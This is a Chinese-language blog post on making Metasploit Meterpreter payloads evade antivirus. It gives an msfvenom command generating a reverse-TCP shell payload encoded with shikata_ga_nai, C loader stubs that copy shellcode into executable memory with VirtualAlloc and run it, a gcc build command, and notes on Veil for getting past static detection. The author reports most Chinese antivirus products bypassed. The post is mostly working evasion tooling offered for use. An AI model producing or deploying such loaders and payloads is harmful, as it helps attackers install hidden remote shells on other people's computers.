avatar

Meterpreter免杀总结

说两个通用的,毕竟高级的免杀方法都不可能公开,要不分分钟就被干掉了,大家且用且珍惜。现在的杀软都是静态 + 动态 + 流量分析了,下面这两个可以过一些国内常用的静态查杀,动态的话就之后再总结。

planA

利用 msfvenom 生成 c 语言的 shellcode 然后拿其它编译器生成 exe 文件,如果默认使用 msfvenom 生成目标文件的话会留有 msfvenom 独有的特征码,非常明显大多数杀软都会匹配到。所以我们使用其它编译器来去除这个特征码。使用msfvenom选择encoder的时候大家一般都会选择shikata_ga_nai这个编码方式(因为x86的encoder里只有它的Rank是excellent),这个encoder的解码和编码过程都是随机生成的。(编码过程可参考源码)。

1
msfvenom -p  windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.2 lport=4444   -f c

把生成的 shellcode 拷贝过来编译成可执行文件

1
2
3
4
5
6
7
8
9
10
11
unsigned char buf[] = 

"shellcode is here";

main()

{

( (void(*)(void))&buf)();

}
1
2
3
4
5
6
7
8
9
10
11
12
unsigned char buf[] = 
main()

{

Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

memcpy(Memory, buf, sizeof(buf));

((void(*)())Memory)();

}

虽然 18/67 但这么简答的免杀技巧已经很不错了,可以接受,可以看到国内的杀软都是可以过掉的~

planB

使用 veil 这个程序生成 shellcode 或者 c 文件再编译。之前的 Veil-Evasion 这个版本作者不再更新了,目前维护的版本是 veil 。安装它可是费了很大的劲,它需要安装的依赖程序很多,大概有440 MB大小国内由于 git clone 太慢安装流程直接就卡死了。我直接把 setup.sh 里面的安装依赖流程注释掉然后手动下载就行了。

veil

安装完成后看了一下 payload 种类还是挺多的,随机测试了几个效果 payload 发现效果并没有想象中的那么强,转念一想也可以理解,各个安全公司并不是吃素的。。那这个有什么意义呢,它被大部分杀软识别到和它默认生成的流程和编译器所带来的特征码有很大的关系。为什么我们直接拿 msfvenom 生成的 exe 基础可以被全部的杀软识别换了一个编译器就能过掉很多能,当然现在所说的都是基于静态识别动态识别下次再说。

先生成一个可以被 msf 利用的 .c 然后用mingw-w64 来编译

1
gcc -o a.exe c.c -l ws2_32

看看效果咋样,就比 planA 少 2 个。

思考

其实 planB 还可以再优化,生成100个 .c 样本二进制文件比较看看有什么一样的特征,然后把它换掉,这样的话效果杠杠的。哈哈哈 谁用谁知道,给大家抛砖引玉,欢迎交流各种奇技巧。

后续来填坑

免杀这边知识储备的还有点少,花指令,修改程序入口点,编译参数修改等等还需要学一下。感觉可以改进的地方还有很多。和朋友交流了一下源码免杀的方法,先看一下效果,后续填坑。

同时推荐一个非常不错的 msf 免杀分析文章 链接

Author: CarlStar
Link: http://yoursite.com/2019/01/04/dig/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment